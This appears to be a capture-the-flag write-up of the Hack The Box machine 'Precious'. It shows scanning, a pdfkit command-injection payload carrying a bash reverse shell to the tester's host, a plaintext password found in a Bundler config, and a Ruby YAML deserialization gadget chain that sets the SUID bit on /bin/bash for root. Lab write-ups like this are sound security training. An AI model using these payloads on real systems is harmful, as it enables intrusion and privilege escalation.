Notes

Precious

Name Precious
OS Linux
RELEASE DATE 26 Nov 2022
DIFFICULTY Easy

Port Scan

I started by doing a quick port scan on the machine. nmap shows that there are two open ports, SSH and HTTP.

  • -p- will scan all 65,535 ports
  • --min-rate 1000 will speed up the scan by setting the sending rate at or above 1000 packets per second
  • -oN allPorts.nmap will save the output to a file
┌──(root㉿dragon)-[~/htb/precious]
└─# nmap -p- --min-rate 1000 -oN allPorts.nmap 10.10.11.189  

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 17:03 MDT
Nmap scan report for 10.10.11.189
Host is up (0.062s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Next, I did a more targeted scan of the two open ports utilizing NSE scripts. The NSE scripts can fingerprint the services better than a port scan. I learn it’s running nginx and has a hostname of precious.htb. Googling the ssh version shows that the package is for Debian 11 (Bullseye).

  • -p 22,80 scan port 22 and 80
  • -sVC determines the version of the service and runs safe scripts
  • -oN allPorts.nmap will save the output to a file
┌──(root㉿dragon)-[~/htb/precious]
└─# nmap -p 22,80 -sVC -oN scriptScan.nmap 10.10.11.189

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I’ll add precious.htb to my /etc/hosts file

# HTB
10.10.11.189    precious.htb

80/TCP HTTP

The home page shows that this site will convert a web page to a pdf. Precious

I set up a basic python3 web server and submitted my kali ip into the application to see if I could get a hit.

┌──(root㉿dragon)-[~/htb/precious/www]
└─# python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Precious

The web server gets a hit and it generated a pdf of my page

┌──(root㉿dragon)-[~/htb/precious/www]
└─# python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [21/May/2023 17:45:56] "GET / HTTP/1.1" 200 -

Precious

I downloaded the pdf and ran exiftool on the pdf that was generated. The metadata shows that it was created by pdfkit v0.8.6.

┌──(root㉿dragon)-[~/htb/precious**]
└─# exiftool preciousPDF.pdf

ExifTool Version Number         : 12.57
File Name                       : preciousPDF.pdf
Directory                       : .
File Size                       : 11 kB
File Modification Date/Time     : 2023:05:21 17:48:16-06:00
File Access Date/Time           : 2023:05:21 17:48:16-06:00
File Inode Change Date/Time     : 2023:05:21 17:48:26-06:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

A google search on the version lead me to a snyk article that explains an RCE vulnerability. When I submitted the url to my kali machine it passed it into a pdfkit function called PDFKit.new. That function is vulnerable to command injection. From the synk page, the payload is:

http://example.com/?name=%20`sleep 5`

To perform this attack I will keep my python web server running

┌──(root㉿dragon)-[~/htb/precious/www]
└─# python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Next, I’ll submit another request to convert to a pdf but this time intercept it and send it to burpsuites repeater tab. I’ll replace the url with the injection payload, but change the command to be hostname, I’ll also make sure to url encode the payload (per the exploit I need to include a space before the command hence the %20) Precious

Looking back at the python3 web server I got a hit showing the machine hostname

┌──(root㉿dragon)-[~/htb/precious/www]
└─# python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [21/May/2023 22:05:43] "GET /?zon=%20precious HTTP/1.1" 200 -

Next, I’ll set up a new nc listener to catch a reverse shell

┌──(root㉿dragon)-[~/htb/precious]
└─# nc -lvnp 9001               

listening on [any] 9001 ...

With command injection, I’ll send a basic bash reverse shell to my listener. Below is the non encoded-payload and the encoded one

http://10.10.14.11/?zon=%20`bash -c "bash -i >& /dev/tcp/10.10.14.11/9001 0>&1"

#URL ENCODED
url=http://10.10.14.11/%3fzon%3d%2520`bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.11/9001+0>%261"`

Once the payload got executed I got a shell as ruby

Pivot To Henry

Inside /home/ruby there was an interesting .bundle folder and inside a config file that contained the password for henry.

ruby@precious:~/.bundle$ cat config

cat config

---

BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

.bundle is created by Bundler, a Ruby gem that manages Ruby dependencies. Sometimes the config files inside the directory contain API credentials. In the case of henry its creds to rubygems.org

Henry’s credentials worked against ssh and the user flag was gained.

henry@precious**:~$ cat user.txt

a2ff********************

Root

The first thing that I check is sudo -l to see if I have any special permissions. Henry has the ability to run a ruby script as sudo.

henry@precious:~$ sudo -l

Matching Defaults entries for henry on precious:

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

  

User henry may run the following commands on precious:

    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

The script is pretty small but one piece sticks out to me YAML.load(File.read("dependencies.yml")). This is loading in a file called dependencies.yml, it does not specify a full path location. There is a good chance I can create that file and put some malicious code in it to get code execution.

# Compare installed dependencies with those specified in "dependencies.yml"

require "yaml"

require 'rubygems'

  

# TODO: update versions automatically

def update_gems()
end


def list_from_file

    YAML.load(File.read("dependencies.yml"))

end
[snip]

Googling YAML load function, showed that this is a deserialization attack. PayloadAllTheThings had a universal payload that I modified to set the suid bit on /bin/bash

henry@precious:~$ cat dependencies.yml 
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod u+s /bin/bash
         method_id: :resolve

Saving that file and running the script with sudo ruby /opt/update_dependencies.rb resulted in the attack working setting the suid bit on /bin/bash

henry@precious:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash

Using the suid bit I elevated to root and grabbed the flag

henry@precious:~$ /bin/bash -p                           
bash-5.1# id                                                     
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)

bash-5.1# cd /root                                                
bash-5.1# cat root.txt                                           
3b23*****************